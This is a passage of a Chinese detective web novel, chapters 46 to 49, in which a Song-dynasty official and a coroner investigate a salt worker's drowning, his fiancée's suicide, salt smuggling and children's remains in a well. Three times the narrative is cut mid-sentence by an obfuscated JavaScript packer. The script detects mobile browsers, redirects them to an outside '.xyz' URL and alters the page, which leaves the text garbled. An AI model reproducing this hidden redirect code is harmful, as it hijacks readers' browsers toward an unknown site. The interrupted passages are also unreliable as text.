说完他背着药箱就往外面走,逮住个衙役就问水缸在哪,衙役给他指了路,他几乎是跑着去的,宋准跟在他身后,也小跑着追上他。 46.械斗 卷宗里写的案子来龙去脉有些不太清楚,主簿去处理盐场斗殴还没回来,宋准便准备直接去盐场找主簿问,顺便也查查林正则生前的事情。 盐场里闹哄哄的,主簿和两个捕快站在一群盐工中间调解着,那分成两拨的盐工逮到机会还要上去推搡对方一下。 这时虽然已经是午后,可那日头也还是烈的,盐场里更是为晒盐而无任何遮蔽,主簿额上的汗水不住地流,还要费着口舌劝解。 非本县的事务,宋准和令狐朝不便上前插手,只能在边上看着,还好最后好歹是将那纷争调停,捕快也带走了最先挑事儿的盐工。 宋准这才走上前去问:“主簿,那林正则生前可是在这个盐场做工?” “是啊。”主簿说,“二位怎么来这边了?可是有什么要紧事?” “只是这案宗里有些地方不太明确,想来问一问。”宋准将手里的案宗递给他,又拿过令狐朝的记簿翻开道,“主簿,初检格目里为何写沈氏女怀有身孕?令狐仵作验过,她还是处子身。” 主簿闻言一惊,道:“处子身?这,我也是刚接手这些,县里仵作说她有孕,说其腹部硬如铁石,是怀孕的表现,我也上前去检查了,确实也如他所说啊。” 令狐朝十分无奈地叹口气,道:“胎儿三月不过拳头大小,骨骼都没长硬长全,六个月宫底到肚脐,才能在腹部摸到胎头,且就算摸到了也不可能是硬如铁石,你们摸到的不会是肠子吧?” 主簿面上有些尴尬,十分不好意思地笑了笑。 宋准有些恨铁不成钢:“这一类事情关乎到女子的清白,应当好好查验才是,否则人家的名声可都全无了啊!还有这林正则死亡前后都发生过什么?他身上有不少伤痕。” “这……哎,我也不甚清楚,正巧在盐场,便去问问盐工吧。”主簿说,他脸上皆是疲惫之色,又解释道,“这盐场里经常发生争执械斗,盐工都是些粗人,或是因什么罪被罚至此的,戾气重得很,打伤打死人也是常有的事儿。” 宋准也理解主簿的心情,若是普通的县里就一人视事也就罢了,偏偏还是有盐场的县,虽说比旁的县都要富裕些,但也架不住三天两头的打架斗殴,人都要忙疯了。 找到盐场里新的监官,主簿问道:“许监官,那林正则生前可有要好的工人?烦请叫来问个话。” 许监官想了想,说:“林正则一直独来独往,似乎也没什么要好的人啊。他是从前犯了事儿被罚过来的,受过黥刑,清白身的看不起他,他心气儿还高,又不愿与其他犯过罪的盐工为伍,所以一直都没什么要好的人。” “他犯了什么事儿?”宋准问。 “哟,这我还真不知道了,都是四五年前的事儿了,那时候我还没来这盐场呢。” “赵主簿,那林正则的尸体最先是在哪儿发现的?”令狐朝问了句。 “就在官盐运输渠里。”主簿说,用手指了指东边,“就是盐场东边那个。” “可否带我们去看看?” “可以,可以,请。”主簿答应着,带着他们二人往那运输渠边上去。 盐场的运输渠和运河的最窄处差不多宽,也就刚够两艘船并排行驶。码头也不大,只为运官盐所用,收拾得倒是很整洁,所有物件都是整齐码放,井井有条。 绕过码头,走到一株红树旁,主簿说:“当时工人来清理这些树根,怕撞到盐船,林正则的尸体就被那树根挡住,在靠近岸边的位置。” “当时如何定的意外溺水?这案宗里没有当时的验尸格目吗?”宋准问。 “没有验尸格目?哎哟,瞧我这记性,那是单独的一个案宗,在架阁库里,我忘记拿出来了,县里的仵作验过了,确认是意外溺亡无误,就结了案,尸体也都埋了。” 令狐朝查看着那些盘踞的树根,问:“林正则被发现时是什么姿势?他身上有多处伤痕,您当时可见过?” “他是俯趴着,身上的衣裳勾在了树根上,才没有随水流漂走。他身上的伤痕我也见过,已经细细盘问过盐工,说那是前几日他们斗殴时留下的,不光是林正则自己身上受伤,他把别人也打得不轻,仿佛是为那人说了句什么话,林正则就突然暴起,和他打了起来。” 宋准皱起了眉头,脑中回想的都是林正则骸骨上那些深色的伤痕,把人打得骨头上都见伤,这得是多大的仇啊。 想到这儿,宋准又问:“林正则和沈文嫣的遗物都在哪儿?” “啊,都暂存在衙门架阁库里。” “好,回去还烦请主簿取出二人遗物。一会儿再找一下当时和林正则斗殴的那个盐工来问一下话,有些情况在下还想再了解一下。” 返回盐场,让许监官将那盐工叫来,宋准便直接开门见山:“林正则生前为何与你斗殴?” 那盐工十分气恼地说:“县尉明鉴啊,我可没惹他,左不过就是那天我们在那议论说,那个沈氏为巴结石氏,要把女儿卖给他们家了,哎谁承想那小子上来就打我,*的,我还能让他给揍了吗?那不就打起来了。” “沈氏巴结石氏的事儿,你们是怎么知道的?” “哟,这事儿还有谁不知道呢?盐场里早都传开了。再说了,前阵子沈氏和石氏不也确实结亲了吗,就是那沈小姐实在是可惜啊,年纪轻轻的就……啧啧啧。” “那你可见到林正则去世前有什么不寻常的吗?” “不寻常?我想想啊……”盐工思索了片刻,随后说,“要真说的话,他死之前的几个月看着就半死不活的了,天天那个脸拉的呀,不知道还以为谁欠他几吊钱呢,干活儿也不利索了,跟让人夺了舍似的,但他平常也差不多都那副样子,便也没人当回事儿。” 宋准将盐工说的都一一记下,就让他走了。 这时候日头也渐渐西斜了,也到了该放值的时候,今日一直忙着赶路,刚到了就忙着查案,饭也没好好吃,也就午间啃了块令狐朝的糍粑,肚里早就空了。 主簿说在城中酒楼里备了宴,请宋准和令狐朝前去,想着是礼数,宋准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633472|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便也没推辞。 盐官县很富裕,城里的酒楼瞧着似乎都比临安的醉欢楼还要好些,菜式十分精美可口,酒也是香味醇厚,回味绵长。 二人喝了些酒,回到县廨时天已经黑了,宋准刚点上灯,就听房梁上传来幽幽的一声:“哟,两位这是上哪儿快活去了?” 宋准被吓了一跳,回身去看,只见柳晏趴在房梁上,脑袋枕在臂弯,另一只手里拿着一串用线串起来的茉莉花,垂下来百无聊赖地晃着。 “稚言?你怎么来了?”宋准十分惊讶地问。 柳晏没动作,有些委屈地说:“嗯……看到你们送来的字条了,要来三五日啊,真舍得丢下我,我可舍不得晦言,想你想得心痛,想着心病还是得心药医,我就来了。” 令狐朝坐在榻上看着他:“你能不能下来,那上面有什么好的?” 柳晏眯起眼笑了,翻下来落地拍拍衣裳上沾的土,凑到令狐朝身边,把那串茉莉戴到了他的手腕上,道:“好晦言,有没有想我?” 他在令狐朝身上嗅了嗅,随即一皱眉:“你身上怎么了?又是死人味又是药味酒味又是醋味的,你验的什么尸啊?” “被虫子啃得剩骨头架子的腐尸,死了两个多月了。”令狐朝说。 柳晏脑中瞬间有了画面,好像那尸体此刻就在眼前似的,没忍住呕了一声。 “哎哎哎,出去吐,别吐我身上了。”令狐朝把柳晏的脑袋推远,摘下腕上的花放到他鼻子边,“给你,闻你的花儿去。” 宋准看着他们俩,不由得笑出声来,自己身上的衣裳也不好闻,夜里得要重新熏一熏了。 柳晏艰难地转过头,说:“放开我,晦言。惟衡~你看他,整日就欺负我。” “不是你自找的吗?”令狐朝反问他,抬头对宋准说,“别理他,人来疯。” “好了,我错了还不行吗,我也没吐吗不是,嗯…好晦言~” 令狐朝叹了口气,松开了他,结果他一个转身就扑过来抱住了令狐朝,脑袋搭在他肩膀上,喃喃道:“一日不见兮,如隔三秋,虽然就一天没见,但我真的好想你啊……” “好了好了,别撒娇了,下来,又不是见不到了,快下来!”令狐朝双手架在他腋下,把他架了起来,柳晏这才放开手,坐到了一边。 他手上拿着从令狐朝怀里掏出的记簿翻看着,问道:“惟衡,这是个什么案子?有我能帮上忙的吗?” 宋准想了想,把今日查到的情况都跟他讲了一遍,柳晏翻看着记簿,问道:“那接下来要从哪儿查起啊?” “先查了他们二人的遗物,再去沈氏问问那个老仆,看看能找到什么线索。”宋准说。 令狐朝点点头,又问柳晏:“明日我们都出去查案了,你去哪儿啊?” “不能跟着你们吗?”柳晏十分无辜地眨眨眼,转头看宋准,露出一副人畜无害的表情,“我可以做画师的,不收钱,就让我跟着你们吧。” 宋准扶额叹了口气,无奈地答应了他。 47.合髻同心 第二日天刚亮,宋准就起来收拾洗漱,昨夜重新熏的衣裳已经没什么怪味儿了,整理好衣冠,出去买了些吃食回来,令狐朝和柳晏也都醒了。 “醒了吗?来吃些东西吧,不知道你们爱不爱吃,随便买了些,凑合一下吧。” 柳晏坐在床边愣神儿,目光呆滞着,令狐朝已经在穿衣了,系着衣带问道:“你怎么起得这么早?这还没到辰时呢吧。” “睡不着了,索性就起来。快来尝尝这个米糕,刚才吃了一块,味道还不错。” 柳晏下了床,赤脚踩在地上走过来,将脸凑到宋准面前,呆愣愣看他,说:“惟衡,好会照顾人啊,跟着你真是有福气。” 说完他脚下一晃就要往宋准身上倒去,宋准眼疾手快扶住了他的肩膀,起身让他坐到椅子上:“你是还没睡醒吧?说什么胡话呢。” 令狐朝在一旁笑出了声,说:“是说胡话呢,一会儿他就要问你他怎么睡在椅子上。” 回头一瞧,柳晏果然已经靠在椅子上闭上了眼睛,令狐朝过来在他眼前打了个响指,他迷茫地睁开眼,看了看面前两个人,低头看了看自己,问:“我怎么睡在这儿?” “哈哈哈哈哈哈……”全让令狐朝说中了,二人同时笑了起来,柳晏呆愣愣的,十分不明所以,脸上却莫名染上了些红晕。 用过早饭,三人一同去了衙门,主簿看到柳晏,有些迟疑地问:“这位是?” “这是我们的一位友人,柳晏,听闻我们来此查案,来帮忙做画师的。”宋准解释道。 “噢,原来是柳公子,有礼了。宋县尉,昨日你要的沈林二人的遗物都在架阁库中,请随我来。” “好,请。” 主簿从架子底下拖出来两个箱子,说:“这个是沈文嫣的,这个是林正则的,东西都不多,沈文嫣这个就是她自缢当天身上所有的东西,林正则这个还有他在盐场住处的物件。” 宋准打开了沈文嫣的箱子,将那些东西一一拿出来摆放在案上,一身青绿色绣鸳鸯牡丹的大袖婚服,点翠的金凤冠,绯红色霞帔,绣了牡丹的罗纱盖头,金钗玉环,鞋袜,还有一枚绣了竹叶海棠的银丝香囊。 主簿看到那香囊便说道:“这香囊是沈文嫣一直攥在手里的,验尸时费了些劲才拿下来呢。” 宋准打开香囊,里面是两缕用红绳系在一起的头发,明显是来自两个人的——一缕发质油亮,颜色很黑,另一缕则明显干枯些,尾部还有枯黄分叉。 “主簿,这是沈文嫣和谁的头发?”宋准问,“是林正则吗?” “是,他们二人头发上都有整齐的切口,也比对过颜色,确认是他们二人的无误。” 结发合髻意为夫妻同心,通常在礼成饮过合卺酒后才结发置于锦囊中,沈文嫣和林正则怎么就自己结了发呢? 其他的那些物件倒也没什么特别的,就是普通的嫁衣,不过形制有些超了商人能用的,但这毕竟是人生大事,嫁衣也就只穿这一日,略有僭越官府也不会追究。 林正则那一箱东西也不多,看来在盐场过得很是清苦,衣裳也就三件,一件厚两件薄,皆是短衣,另有几双草鞋,做工粗糙,大约是他自己编的。 遗物中也没什么银钱,有个带锁的小匣子,不知里面是什么,遗物里也并没有这匣子的钥匙。 “这能直接劈开吗?”宋准问了句。 柳晏凑过去看了看道:“哎,不用费那么大劲儿,这东西简单,看我的。” 他取下头上的金簪,从中间拔开,那里面竟有支刺,他拿着那刺伸进锁眼里捅了捅,那匣子就被撬开了。 “你怎么还会撬锁?”宋准压低了声音问。 “行走江湖不会撬锁怎么行?低调一点。” 打开匣子,里面有一封信,还有一枚和沈文嫣一样的绣了竹叶海棠的银丝香囊,打开来,里面就只是一些香料和香灰。 信封里只有一张白纸,除此外再无他物。 “这也瞧不出什么,去沈氏府上一趟吧。”宋准将那些东西都放回去,道,“还请主簿带路。” “哎,好,随我来就是。” 原以为沈氏做盐商,宅子会和黄寅在临安的住处一样,雕梁画栋的,没想到这到了门口,却就是个普通的宅院,没有影壁,也没有石狮镇宅,门口的拴马桩还断了一根,朱红大门有些掉漆,看起来许久没有修缮了。 门口的仆人进去通传,他们一行人便在前厅客室里等候,好一会儿,沈文嫣的父亲才匆匆赶来。 “鄙人沈铎,见过几位上官。上官光临寒舍,可是小女的案子有进展?” 沈铎两鬓斑白,一脸疲态,想必这些日子为了女儿的事情愁得不轻。 主簿说:“沈员外多礼了,这几位是临安县宋县尉和令狐仵作,还有柳画师,此次到访是还想问问您家那位老仆,再了解一下令嫒的事情。” “好,好,请随我来。” 家仆的住处一般都在后院,纵数百步的宅子走到后院需要些时候,宋准便问了那沈铎几句话。 “沈员外,您膝下除千金外还有几个孩子?” “唉,我福薄,就这一个独女,前些年夫人去世,续了房小妾,也是无所出,如今人老了,竟成了孤家寡人了。” “初次尸检时查出令嫒身怀有孕一事,您大可不必放在心上,是误检,千金并未怀孕。” 听了宋准的话,沈铎的眼里瞬间有了光彩,十分感激地说:“多谢宋县尉啊!当时老夫听闻这个消息是百思不得其解,小女虽然……但她一向是有分寸的,断断不会做出婚前与人苟合的事啊!” “您说虽然什么?” 沈铎愣了一下,面上有些尴尬,思索了许久,才叹了口气,说:“唉,也都怪我无能,小女和林正则幼时曾定过亲,他们二人感情一直都很好,这我也知道,只是天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642161|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不遂人愿啊!” 随后沈铎才将当年的旧事讲了出来,原来林正则本家的父亲原是沈铎的好友,他们一家不知怎么惹到了什么贵人,遭到了报复。 当时林正则尚在襁褓之中,林父林母实在是没有办法,就从外面找了个死婴替换了林正则,偷偷叫人带着林正则到了沈家。 沈铎一早就接到了林父的消息,将林正则养在了府上,只说是远房表亲的孩子,他膝下无子,便收作养子的。 后来林氏被灭了门,沈铎便按好友的遗愿给林正则和沈文嫣定了亲,今后成了婚就一起打理他家的家业,若生下孩子也会随两家的姓氏。 只是不想后来那些人又盯上了沈氏,他们要求沈铎必须参与到他们贩私盐的生意里,否则不光是沈铎自己,沈氏满门也会受牵连。 林正则当时不过十六岁,知道了这件事之后便要求自已以沈氏的名义去和他们做交易,他说自己这些年在沈氏受尽了沈家恩惠,如今正是报答的时候,沈铎实在拗不过他,便只能让他去。 原本林正则是随沈氏姓沈,去跟那伙人做了交易之后才改回了本家姓氏,就是怕万一被官府查到牵连沈氏一家,结果没多久他就被官府抓到了,挨了几十杖,还受了黥刑,罚去盐场做十年苦役。 沈铎说到这里,十分自责地叹了口气:“唉,原本说,十年苦役服完,出来就和文嫣完婚的,也就还有五年时间了,怎么偏偏就……唉。” “那您又是为何将女儿许配给了石氏呢?” “我也是没有办法,唯有这样才能保全文嫣。县尉大人,实不相瞒,如今我家也不行了,那伙人不肯放过沈氏啊。” 宋准一皱眉,问道:“哪伙人?您知道他们的身份吗?” “我不知道,只知道他们本事不小,当初要贩私盐,如今要贩人,可能哪天沈府也叫人一把火烧了。不过我如今也没什么后顾之忧了,儿孙都没了,我这把老骨头也活不了多久了。” “沈员外,别这样悲观,您把知道的都告诉我们,官府自会介入探查,听您所说的,林正则和沈文嫣的死想来都和您说的这伙人脱不了干系,您还知道些什么,都可一并说来。” 沈铎摇了摇头,道:“再多的我也不知道了。你们要找的那位老仆是正则的乳娘,许是正则给她说过些什么吧,她身子不好,我也没仔细问过。” 说着话,已经走到了后宅仆妇居住的地方,在门口就听见人咳嗽,像是要把五脏六腑都要咳出来了。 推开门进去,屋里陈设简单,但东西也都齐全,弥漫着淡淡的药味,花白头发的妇人半躺在床上,边上还有个十来岁的小姑娘在旁伺候着。 沈铎走上前去说:“乳娘,官府的人来了,问几句话。” 乳娘抬起有些浑浊的双眼,说:“老爷,咱家少爷和小姐,都是枉死啊!” 两行泪从那双眼里滑落,她伸手去拭,引得沈铎也落了泪。 48.密信 一时间,屋里几人都相顾无言,宋准叹了口气,打破了沉默:“大娘,您可说说您都知道些什么?” 乳母望向宋准的方向,看到他和主簿的一身官服,情绪十分激动,想要下床跪拜,宋准立刻上前拦住她:“大娘,您身体不好,不必行礼,坐着回话就是。” “好,好。”乳母靠在了床头,说,“我家小姐少爷,从前都是定过亲的,他们感情极好,少爷一向惜命,是断断不会自己跳河的。五年,只再五年,他们二人就能完婚……咳咳咳!” 在边上伺候的小姑娘立刻将水递到乳母手中,她喝了几口,才缓过来接着说:“少爷曾经给过我一个物件,要我替他保管……阿兰,替娘取一下。” 原来这小姑娘是乳母的女儿,难怪瞧着眉眼有些相似。 阿兰从柜子里取出一个小匣子,看着和林正则遗物里的那个匣子是一样的。 匣子打开,乳母将其递到宋准面前,宋准看着里面的东西,一个更小的木盒,一对玉镯,一封书信。 看到那个小木盒,宋准心里就有了猜测,打开来,果不其然是一枚玉蝉。 他将那玉蝉拿出来,问乳母:“这些东西林正则是何时给您的?您可知道这玉蝉是作何用处的?” 乳母说:“也就是今年年初时,那会儿,少爷夜里回来,把这些东西交给我,说今后有大用,叫我不要对任何人提起。这玉蝉,他说,是什么的凭证。” “您还知道些什么,一并都说出来吧,此案事关重大,恐怕已经不光是关系你家小姐和少爷了。”宋准的表情有些凝重了,这玉蝉是柳晏之前所说的阳蝉,多半和官盐走私有关。 乳母咳嗽两声,说:“少爷曾说,他若有一日失踪了或是死了,小姐那儿存着他们二人的书信,若能找到那些书信,官府的人看了便知。这对玉镯他预备送给小姐的,只可惜……” “好,多谢。您好好养病,莫要太过忧思,此案官府会尽快破获,不叫他们二人枉死。” 说完,宋准便叫沈铎带着他们去沈文嫣的房中寻找乳母所说的书信,沈铎立刻应下,带他们进了沈文嫣的房里。 她的房中干净整齐,门上贴着的喜字还未来得及摘下,妆台上还有捆着的红绸,那原本是要作为嫁妆之一抬去夫家的,出了那样的事儿,只得原封不动抬回来。 在房中翻找了好一会儿,最后是在书案上的红木镇纸里找到的卷起藏着的书信。 那些书信皆是林正则的字迹,他们甚少在信上谈情说爱,都是在说些诗词歌赋,偶尔谈论些政事和家中的生意,虽然没有沈文嫣寄出的信,但她写的内容,从林正则的回信里都能猜出一二。 最近的几封信里,林正则说:“我不愿你为我如此,为保全你,保全沈伯父和沈氏,即使我粉身碎骨,也在所不辞。” “我已尽力周旋,家里的事你放心,院中红梅开花时,我回来见你。” “他们或许不会放过我了,我会想办法离开,别担心,来往书信我皆已焚尽,他们不会找到我。你我终有重逢之日,莫为我伤怀,你与父亲都要保重!” 每封信寥寥几句话,信纸上多多少少都沾了些盐渍,字迹却非常工整秀气,落款皆是“正则”二字,还画朵五瓣梅花在侧。 宋准大致看完那些信,对沈铎说:“沈员外,这些信我们暂时带走留作物证,待此案告破您可回衙门取回。” “好,好。”沈铎答应着,又像想起来什么似的,说,“县尉,他们往来的书信有些不想让旁人轻易看到的,会用盐渍书写,看起来是白纸,需要在火上炙烤才能让字迹现形。这是我们盐商常用的法子,希望能帮到县尉。” 宋准一惊,立刻向他道谢,又问:“千金出嫁前有没有留下遗书之类的书信交给您?或者跟您说过什么话?” 沈铎回忆了片刻,有些不太确定地说:“她倒也没说什么特别的,就说在我房里给我留了件她亲手做的衣裳,那衣裳我也看了,没什么不一样啊。” “可否拿来给我看看?”宋准问。 “可以,请稍等片刻。”沈铎出去唤了个仆人,交代完了又再回来,环视了一圈女儿的房间,深深叹了口气。 不多时,那仆人带着一个箱子回来了,将那箱子打开,里面是一件烟灰色暗云纹的长衫,用料考究,精致不逾矩,做工也是十分精细。 宋准将那衣裳拿出来细细查看,确实如沈铎所说没什么特别的,也没有缝起来的夹层一类。 “这箱子也是千金一并留下的吗?”宋准问。 沈铎点头称是,宋准便接过那箱子查看,敲敲盖子,敲敲侧板,果然,发现箱子底部似乎有夹层,只是不知道该怎么打开。 宋准叫来柳晏,让他去研究那箱子,他鼓捣了两下,就把里面的东西取出来了。 那是一封书信和一条五色丝线,书信是沈文嫣的遗书,五色丝线瞧着似乎是端午时男女的定情信物。 遗书里,沈文嫣说自己不愿意苟活,不想自己一直是父亲和林正则的顾虑和软肋,她已经查出了在盐场散播谣言的就是石氏的人,她与林正则原本已经商议好私奔,林正则的死绝非意外,她宁愿死,也不想嫁给手段卑劣的石氏。 看了这遗书,沈铎已经是老泪纵横,泣不成声,他原本想,让女儿嫁出去至少可以保全她,却不想她这样刚烈,不愿意如此苟活,竟直接以死明志。 许久,他深深叹了口气,鬓边的白发似乎又多了些,他对宋准道:“宋县尉,一定要找出杀害正则的凶手啊!否则,我无颜面对他的父母亲人,还有文嫣……” 说完这句,他的情绪依旧十分激动,止不住地落泪,看得人心酸。 众人都明白时间不能再耽搁,安抚好沈铎的情绪,便带着那些证物回了衙门,林正则遗物中那封无字密信,该用沈铎说的 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主簿闻言有些疑惑,问他们何出此言,宋准便将前些日子临安的儿童失踪案讲述了一遍,那伙歹人正是用西域曼陀罗去迷晕孩子,再将他们掳走。 “您若这么说,早些年城里确实也有不少孩童失踪事件,时间都巧,都在祭神仪式前的半月,我们也曾怀疑是否和祭神有关,但是仔细搜查过后并无发现,案子也一直悬而未决。难道是这其中还有我们未曾查清的事情?” 宋准皱起了眉,摇摇头说:“现下也不能下定论,我们先去您说的那个盐神庙看看,能不能发现些什么。” 主簿答应下来,叫人去备车马了,柳晏凑过来小声说:“惟衡,你觉得林正则为什么会被灭口?” “许是又撞破了什么见不得光的事吧。怎么,你发现了什么吗?” “没有,我和你的想法一样,不过我觉得当年林氏灭门的事情也可以顺手查一查,十几年前的事情,应该不会是鬼樊做的,我让白兔去打听打听?” “不耽误你做生意?你人跑这儿来了,白兔又要管楼里,又要照顾你那青楼生意,你把人家当驴用呢?” 令狐朝在案边看那些书信,听这话噗嗤一声笑了:“噗!白兔变白驴了,哈哈哈哈……” “晦言,你怎么这样说自己后辈呢,好歹也是你看着长大的孩子。”柳晏转过头装作气愤的样子质问他,自己却也有些憋不住笑。 宋准戳戳他胳膊:“你若愿意打听打听也是好的,但不能用违法的手段啊,否则不能当作证据用的。” “那是自然,我现在可是守法良民,替官府办事,说出去脸上都有光。”柳晏语气十分得意,扬着下巴微笑着。 不多时,赵主簿回来了,对宋准他们道:“宋县尉,车马已在外等候,咱们这就出发吧。” 49.盐神庙 如赵主簿所说,这座盐神庙在离入海口很近的一个小山包上,明显已经破败很久了,连上山的小路都长满了杂草。 马车上不去,令狐朝身子又虚,喘着粗气一路走走停停的,费了些时候才到了那盐神庙门口。 沈文嫣信中提到的那口废弃的盐井就在盐神庙后院,这盐井有些年头了,还是最老的宽口浅盐井,庆历年间都不用这样的盐井了,难怪如今会废弃。 不过也正因为是宽口,人很轻松就能下去,将麻绳一头系在旁边的一棵树上,一头系在自己腰上,宋准就先下了井。 井底有些黑,令狐朝将火折子抛了下去,宋准一把接住,在井里仔细查看。 这井看起来就干枯多年了,里面不少落叶杂物,刨了刨,果然发现一个小油纸包,打开来,里面是三根一两的金条和一沓三贯的会子,还有一封信。 知道这必定是沈文嫣留下的盘缠了,宋准便将那油纸包包好塞进衣襟,刚准备拉绳子上去,脚底就踩到了个什么突出来的东西绊了一下,弯下腰摸了摸,似乎是一根棍子。 下意识将那棍子抽出来,拿在手里看了一眼,竟是根骨头! “令狐仵作!这下面有根骨头!”宋准喊道。 令狐朝在井口上探出了半个身子,喊:“拿上来看看!” “这就上来!” 宋准将那骨头别到了腰带上,攀住井壁爬了出去,把骨头递给令狐朝,他拿到手上看了一眼,就十分肯定地说:“这是根小孩儿的肱骨啊。” “什么?”在场众人齐声惊呼,都顾不上去看沈文嫣留下的东西了,赵主簿急得脸色都有些白,宋准提醒他快去找人上来挖井,这井底可能还有孩童的遗骸。 过了约莫半个时辰,赵主簿可算带着捕快和两个民兵来了,都拿着工具下去开挖。 腐烂的树叶和杂物,随那些骨头一桶一桶地运上来,令狐朝就在旁边清出的空地上将那些骨头一一拼起来。 一直忙活到日暮,共拼出来两具完整的骨架,其余的都缺不少,还没拼全,但令狐朝说那剩下的大概是五个孩子身上的。 七个孩童都在井底,这不可能是因为失足掉入,只可能是人为。 在那些枯叶杂物里,宋准和柳晏找出来了七条红线串着的小银锁,红线大多腐坏,轻轻一扯就断开,每一枚银锁的背面均刻有三字,“三槐堂”。 宋准走到令狐朝身侧问:“令狐兄,依你看这些孩子是去世了多久的?” “少说也有五年。”令狐朝说,“人入土三年化骨,这些骸骨都很干净没有粘连腐肉,肯定已经是三年往上,这么多尸体堆在一起的话,要全部白骨化只会需要更久。” 他又指着那些头骨说:“这些孩子都是七八岁左右的,男孩女孩都有,恒齿都还未萌出,全都在头骨里。” 宋准从知道这是孩子遗骨之后,眉头就没舒展过,赵主簿说每年确实都多少有几起孩童丢失案,但这些尸体都已经成为白骨,如今即使父母再找来也没有办法辨认了。 令狐朝闻言抬头说:“若真想认回孩子也不是全无办法,可以滴骨验亲,取父母的血滴于骨上,若血能渗入,就是血亲。” “这法子可靠吗?”赵主簿有些不放心地问。 “可靠,就看他们愿不愿意试了。就是若试完却发现其中没有他们的孩子,恐怕又会让他们再伤心一场。” 赵主簿思索半天,叹口气道:“唉,此事难办啊,还是贴个告示出去先试试吧。” 柳晏这会儿一直蹲在边上盯着那些头骨看,听到赵主簿说要贴告示,才抬头说:“我试试能不能把孩子们生前的模样画出来。” “照骨画皮?你什么时候有了这本事?”令狐朝问他。 “我没有这本事,但我想试试。”柳晏的语气很坚定,半点不似开玩笑的样子,“算命的不都能隔着皮摸骨吗,皮贴着骨长,想来问题不大。” 宋准走到他身侧蹲下,轻声说:“稚言,尽力就好,若实在不行也无妨。” “嗯嗯。”柳晏用力点了点头。 眼看着天要黑了,井里的杂物已经清理完,令狐朝用麻绳将拼好的骸骨串联了起来,剩下些散的也叫人用布袋裹好,将所有物证一并带回了衙门。 柳晏将那七个头骨都带回了县廨,摆了一排在书案上,边上点着几盏灯,若不知道他是在画画,都叫人差点以为他在做什么邪术祭祀。 宋准和令狐朝在另一边的榻上研究那些书信,沈文嫣留在井底的财务共三两金,另三百贯钱。那封信仍用盐渍写就,放在烛火上方炙烤片刻,那上面的字逐渐显现出来。 “正则吾夫: 时局艰难,天亦不遂人愿,你我已尽人事,如今也只能听天命。虽未拜堂成礼,你仍是我此生唯一的夫君,走到这一步皆非你我二人所愿。父亲说,林氏曾经是从岭南来。如今你也可重返岭南去,好好活着,待这一难过去,我便去寻你。若不成,无论你在哪儿,我也随你而去,来世做一对蝶,做一枝花,也不贪恋这世间。” 落款是一个“嫣”字,十分娟秀的簪花小楷,信中没什么格外两情缱绻的话,却看得人心酸。 宋准表情十分凝重,说:“这些事情已经很明显是九曜所为,依我看应当上报州府和提刑司,林氏满门,沈氏,那七个孩童,他们简直是草菅人命!” “本该如此,你不是说那个李丞相人挺好吗,不如也给他修书一封。”令狐朝说。 “越级上报是要掉脑袋的。” “这么严重?那还是算了,明日一早就发文书去州府和提刑司吧,此案重大,这次上面不可能再和之前一样压着不让细查,说不定连之前的案子也能一并查明。” “那便再好不过了。我从一开始就觉得老鸨的死绝对另有隐情,他们找了个不知道是真是假的金雀儿就来顶罪,这案子就这么硬是翻篇了,现在想想都觉得可疑。” 柳晏在书案那边问了句:“他们找的金雀儿长什么模样?” 宋准摇了摇头说:“我也没看清,她头发乱糟糟的,一直低着头,后来抬头的时候脸上也是不知道哪儿蹭的土,灰扑扑的,一直不知道她什么模样。” 柳晏放下笔走到他们身边,压低了声音说:“要我说,那个金雀儿,一定是假的。但真正的金雀儿却也不是什么好鸟。” “此话怎讲?”宋准问。 “还记得我跟你说,那些人每次来都要点金雀儿伺候吗?我偷偷听过墙角,金雀儿明显就是他们一伙的,安插在吟兰苑里,监视老鸨的。” “然后呢?所以老鸨确实是金雀儿灭的口?” “是呀,否则她房里为什么会有密码本呢?但她肯定也不全受那些人信任,我知道你们去看过暗道口的鞋印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651015|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她是被迷晕了带走的。我猜他们离开的时候可能没来得及问金雀儿把密码本藏在了哪儿,不然不会让我找到的。” “那依你看,真正的金雀儿如今在哪儿?” “这我也不好说,晦言不是看出来带走她的是枢密院的人吗,说不定她去枢密院了呢?也说不定在香料铺子,还说不定已经在二皇子身边做通房了呢。” 令狐朝思索了一下说:“也不一定是枢密院的人,只要是去过枢密院架阁库的都有可能,那天惟衡身上也沾上了那种气味,却也说不清是在哪儿沾上的。” “哎,真是麻烦,两斤炸药把他们都炸死算了。”柳晏起身又走到书案边,拿起笔说,“惟衡,我给你画一张金雀儿的画像,你若是在哪个官员身边见到了,就小心她和她身边的人。” 宋准刚想提醒他不要做违法乱纪的事情,听他这样说,又将话头咽回去,无奈点了点头。 